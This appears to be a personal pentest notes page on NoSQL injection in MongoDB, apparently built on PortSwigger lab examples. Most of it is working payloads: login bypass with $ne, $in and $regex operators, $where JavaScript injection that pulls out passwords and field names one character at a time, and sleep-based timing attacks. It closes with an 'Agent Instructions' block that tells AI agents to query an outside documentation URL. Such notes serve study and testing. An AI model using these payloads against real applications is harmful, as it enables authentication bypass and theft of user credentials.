# Nosql

## Types of Database:

* **Document stores** - These store data in flexible, semi-structured documents. They typically use formats such as JSON, BSON, and XML, and are queried in an API or query language. Examples include MongoDB and Couchbase.
* **Key-value stores** - These store data in a key-value format. Each data field is associated with a unique key string. Values are retrieved based on the unique key. Examples include Redis and Amazon DynamoDB.
* **Wide-column stores** - These organize related data into flexible column families rather than traditional rows. Examples include Apache Cassandra and Apache HBase.
* **Graph databases** - These use nodes to store data entities, and edges to store relationships between entities. Examples include Neo4j and Amazon Neptune.

## Types of NoSQL injection:

* **Syntax injection** - This occurs when you can break the NoSQL query syntax, enabling you to inject your own payload.&#x20;
* **Operator injection** - This occurs when you can use NoSQL query operators to manipulate queries.

## NoSQL syntax injection:

### Syntax injection in MongoDB:

payload:&#x20;

```
'"`{
;$Foo}
$Foo \xYZ
```

json format: ``'\"`{\r;$Foo}\n$Foo \\xYZ\u0000``.

example:  ``https://insecure-website.com/product/lookup?category='"`{ ;$Foo} $Foo \xYZ``

Via json :    ``https://insecure-website.com/product/lookup?category='"`{\r;$Foo}\n$Foo \xYZ\u0000``

### **Determining which characters are processed:**

Try:  `this.category == '''`  //if cause syntax error

&#x20; and  `this.category == '\''`  //and if doesn't error then `" ' "` is a syntax

### **Confirming conditional behavior:**

After detecting a vulnerability, the next step is to determine whether you can influence boolean conditions using NoSQL syntax.

Try influence boolean conditions:   false `' && 0 && 'x` and true `' && 1 && 'x`&#x20;

**example**:   `?category=fizzy' &&+0 &&+'x`    and    `?category=fizzy' &&+1 &&+'x`

true false based: `wiener' && '1'=='2`

### O**verriding existing conditions:**

you have identified that you can influence boolean conditions, you can attempt to override existing conditions to exploit the vulnerability. For example, you can inject a JavaScript condition that always evaluates to true, such as `'||1||'`:

```
https://insecure-website.com/product/lookup?category=fizzy'||1||'
```

This results in the following MongoDB query:

`this.category == 'fizzy'||'1'=='1'`<br>

***`Null attack:`***

```
https://insecure-website.com/product/lookup?category=fizzy'%00
```

This results in the following NoSQL query:

`this.category == 'fizzy'\u0000' && this.released == 1`

## Exploiting syntax injection to extract data:

In many NoSQL databases, some query operators or functions can run limited JavaScript code, such as `MongoDB's`   `$where` operator and `mapReduce()` function. This means that, if a vulnerable application uses these operators or functions, the database may evaluate the JavaScript as part of the query. You may therefore be able to use JavaScript functions to extract data from the database.

### Exfiltrating data in MongoDB:

#### I**dentifying field names:**

```url
https://insecure-website.com/user/lookup?username=admin' &&+this.password!='
```

example,

&#x20;you know that the `username` field exists, so you could send the following payloads:

`admin' && this.username!='`&#x20;

`admin' && this.foo!='`

If the `password` field exists, you'd expect the response to be identical to the response for the existing field (`username`), but different to the response for the field that doesn't exist (`foo`).

#### Exploit:

Consider a vulnerable application :

`https://insecure-website.com/user/lookup?username=admin`

This results in the following NoSQL query of the `users` collection:

`{"$where":"this.username == 'admin'"}`

As the query uses the `$where` operator, you can attempt to inject JavaScript functions into this query so that it returns sensitive data. For example, you could send the following payload:

`admin' && this.password[0] == 'a' || 'a'=='b`

This returns the first character of the user's password string, enabling you to extract the password character by character.

You could also use the JavaScript `match()` function to extract information. For example, the following payload enables you to identify whether the password contains digits:

`admin' && this.password.match(/\d/) || 'a'=='b`

To determine the length of password:

```javascript
administrator' && this.password.length < 30 || 'a'=='b
```

## NoSQL operator injection:

Examples of MongoDB query operators include:

* `$where` - Matches documents that satisfy a JavaScript expression.
* `$ne` - Matches all values that are not equal to a specified value.
* `$in` - Matches all of the values specified in an array.
* `$regex` - Selects documents where values match a specified regular expression.

### Submitting query operators:

In JSON messages, you can insert query operators as nested objects. For example, `{"username":"wiener"}` becomes `{"username":{"$ne":"invalid"}}`.

For URL-based inputs, you can insert query operators via URL parameters. For example, `username=wiener` becomes `username[$ne]=invalid`.

If this doesn't work, you can try the following:

1. Convert the request method from `GET` to `POST`.
2. Change the `Content-Type` header to `application/json`.
3. Add JSON to the message body.
4. Inject query operators in the JSON.

### Detecting operator injection in MongoDB:

Consider a vulnerable application that accepts a username and password in the body of a `POST` request:`{"username":"wiener","password":"peter"}`<br>

Then Example Injection:

```json
{"username":{"$ne":"invalid"},"password":{"peter"}}
{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
{"username":{"$regex":"admin.*"},"password":{"$ne":"invalid"}}
```

## Exploiting NoSQL operator injection to extract data:

Even if the original query doesn't use any operators that enable you to run arbitrary JavaScript, you may be able to inject one of these operators yourself. You can then use boolean conditions to determine whether the application executes any JavaScript that you inject via this operator.

### Injecting operators in MongoDB:

assume `post` request:

`{"username":"wiener","password":"peter"}`\
example payload:

```json
{"username":"wiener","password":"peter", "$where":"0"}
{"username":"wiener","password":"peter", "$where":"1"}
```

\*\*\*If there is a difference between the responses, this may indicate that the JavaScript expression in the `$where` clause is being evaluated.

### E**xtracting field names:**

```json
"$where":"Object.keys(this)[0].match('^.{0}a.*')"
```

```json
"$where":"Object.keys(this)[1].match('^.{POSITION}LETTER.*')"
```

```json
"$where":"this.YOURTOKENNAME.match('^.{§§}§§.*')"
```

This inspects the first data field in the user object and returns the first character of the field name. This enables you to extract the field name character by character.

### E**xfiltrating data using operators:**

`{"username":"admin","password":{"$regex":"^.*"}}`

If the response to this request is different to the one you receive when you submit an incorrect password, this indicates that the application may be vulnerable. You can use the `$regex` operator to extract data character by character. For example, the following payload checks whether the password begins with an `a`:

`{"username":"admin","password":{"$regex":"^a*"}}`

## Timing based injection:

`{"$where": "sleep(5000)"}` causes an intentional delay of 5000 ms on successful injection.

The following timing based payloads will trigger a time delay if the password beings with the letter `a`:

```
admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'
```

```
admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://shahidulandshamim.gitbook.io/web-application/exploitation/nosql.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
